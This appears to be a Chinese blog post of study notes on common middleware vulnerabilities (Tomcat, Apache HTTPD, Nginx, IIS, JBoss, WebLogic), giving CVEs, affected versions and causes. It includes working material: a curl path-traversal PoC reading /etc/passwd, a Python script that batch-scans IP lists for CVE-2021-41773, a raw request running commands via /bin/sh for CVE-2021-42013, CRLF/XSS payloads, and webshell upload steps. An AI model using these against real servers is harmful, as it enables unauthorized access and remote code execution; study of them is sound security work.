常见中间件漏洞-优快云博客

当在Tomcat的conf（配置目录下）/web.xml配置文件中添加readonly设置为false时，将导致该漏洞产生（需要允许put请求） , 攻击者可以利⽤PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句马木马（用哥斯拉shell管理工具生成），从而getshell或RCE

后台弱口令部署war包

在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ，未修改造成未授权即可进入后台，或者管理员把密码设置成弱口令(前提人家必须是弱口令)

然后可以将我们之前生成的jsp木马给他打包成zip;后缀改位war，然后再连接就好

CVE-2020-1938(文件包含)

影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

由于Tomcat AJP协议设计上的缺陷，攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有Webapp目录下的任意文件

Apache

Apache HTTPD多后缀解析漏洞

影响版本
使用module模式与php结合的所有版本,apache存在未知扩展名解析漏洞;使用fastcig模式与php结合的所有版本,apache不存在此漏洞。

形如：index.php.asc.cdb格式的，就是多后缀。Apache对文件名后缀的识别是从后往前进行的，当遇到不认识的后缀时，继续往前，直到识别。index.php.asc.cdb，在特定配置下，Apache会将其解析为PHP文件，利用此特性，我们可以绕过上传文件后缀检测，达到上传webshell的目的。

配置如下：
AddHandler application/x-httpd-php .php
或者
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

漏洞复现：

在apache.php.jpeg写入phpinfo，访问文件，phpinfo可以正常解析

Apache HTTP Server路径遍历漏洞（CVE-2021-41773）

影响版本

Apache HTTP Server 2.4.49

docker搭建靶场：

docker-compose build && docker-compose up -d

poc：

 curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

批量检测poc

import urllib.request
import ssl
from colorama import init
 
#添加Headers信息
headers = {
     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
 }
for ip in open('server=Apache2.4.49.txt','r'):
     ipv = ip.strip('\r\n')
     url = f'{ipv}/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
     #防止ssl报错
     context = ssl._create_unverified_context()
     try:
          re = urllib.request.Request(url=url,headers=headers)
          response = urllib.request.urlopen(re,context=context,timeout=3)
          response = response.read().decode('utf-8')  
          if "root:x:" in str(response):
               print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
               with open('vul.txt','a',encoding='utf-8') as f:
                    f.write(ipv+"\r")
          else:
               print(f"{ipv}不存在漏洞")
     except Exception as w:
          print(f"{ipv}不存在漏洞")

这个是抄的Apache HTTP Server路径遍历漏洞复现0day（CVE-2021-41773|CVE-2021-42013远程代码执行）_如何利用cve-2021-41773-优快云博客

CVE-2021-42013

影响版本

Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程代码执行。

GET http://172.16.10.102:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 172.16.10.102:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5cde5771ac040-gzip"
If-Modified-Since: Sat, 09 Oct 2021 06:18:33 GMT
Connection: close
Content-Length: 43
 
echo Content-Type: text/plain; echo; 命令

没错这些都是参考的上面的文章

Nginx

nginx漏洞复现（包含nginx的介绍，配置，访问控制等内容），是较全的nginx学习！_nginx 1.20.1漏洞复现-优快云博客

Nginx 文件名逻辑漏洞（CVE-2013-4547）

影响版本：

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，一般写法如下：‘

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。

所以，只需要上传一个空格结尾的文件，即可使PHP解析之。

再比如很多网站限制了允许访问后台的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫“test ”：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）

Nginx越界读取缓存漏洞（CVE-2017-7529）

影响版本：

Nginx 0.5.6 – 1.13.2

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

Nginx 配置错误导致漏洞

CRLF注入漏洞

Nginx会将$uri进行解码，导致传入%0d%0a即可引入换行符，造成CRLF注入漏洞。
payload：

http://your-ip:8080/%0d%0aSet-Cookie:%20a=1   #sql注入
http://192.168.111.146:8080/%0d%0a%0d%0a<script>alert(1)</script>  #xss

目录穿越漏洞

Nginx在配置别名（Alias）的时候，如果忘记加/，将造成一个目录穿越漏洞

Payload: http://your-ip:8081/files…/

add_header被覆盖

Nginx配置文件子块（server、location、if）中的add_header，将会覆盖父块中的add_header添加的HTTP头，造成一些安全隐患

Nginx 解析漏洞

该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。

1、由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://your-ip/uploadfiles/2.png/1.php (url结尾不一定是‘1.php’,任何服务器端不存在的php文件均可,甚至.php比如’a.php’),其中2.png是我们上传的包含PHP代码的照片文件

2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/2.png’。

3、最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。

IIS中间件

IIS6.0 PUT漏洞

IIS6.0 sever在web服务扩展中开启了WebDAV。WebDAV是在一中HTTP1.1的扩展协议。它扩展了HTTP1.1，在GET、POST、HEAD等几个http标准方法以外添加了一些新的方法，如PUT，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹，该扩展也存在缺陷，利用PUT方法可直接向服务器上传恶意文件，控制服务器。导致任意文件上传

短文件名猜解

为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的Windows8.3短文件名。IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，从而导致远程代码执行。

解析漏洞

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误，从而造成文件解析漏洞。

Jboss

CVE-2015-7501

经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

CVE-2017-7504

JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执行任意代码执行

CVE-2017-12149

Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。该漏洞出现在/invoker/readonly中，服务器将用户post请求内容进行反序列化

Administration Console弱口令

Administration Console管理页面存在弱口令，`admin:admin`，登陆后台上传war包 , getshell

步骤和Tomcat的一样

低版本JMX Console未授权

JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到 jmx控制台，并在其中执行任何功能

高版本JMX Console未授权

JMX Console默认存在未授权访问，直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面, 通过部署war包 , getshell

WebLogic中间件

Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2018-2628/CVE-2023-21839复现)_weblogic反序列化原理-优快云博客

这个中间件没学，所以全是复制粘贴上面文章的

CVE-2023-21839

影响版本

WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0

Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作，当JDK版本过低或本地存在javaSerializedData时，这可能会导致RCE漏洞。

WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

CVE-2018-2628

影响版本

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击（开放Weblogic控制台的7001端口，默认会开启T3协议服务，T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞，攻击者可以发送构造的恶意T3协议数据，获取目标服务器权限。）

T3协议缺陷实现了Java虚拟机的远程方法调用（RMI）,能够在本地虚拟机上调用远端代码。

T3协议：

用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机，要将流量传输到Java虚拟机，Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率，从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小，提高传输速度。

RMI方法：

远程方法调用，除了该对象本身的虚拟机，其它的虚拟机也可以调用该对象的方法。（对象的虚拟化和反序列化广泛应用到RMI和网络传输中）

JRMP：

Java远程消息交换协议JRMP。

JRMP是一个Java远程方法协议，该协议基于TCP/IP之上，RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议，而JRMP底层则是基于TCP传递。

RMI默认使用的JRMP进行传递数据，并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议，而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。

ps：还是事太多了来不及一一复现，就简单做了个总结，当作笔记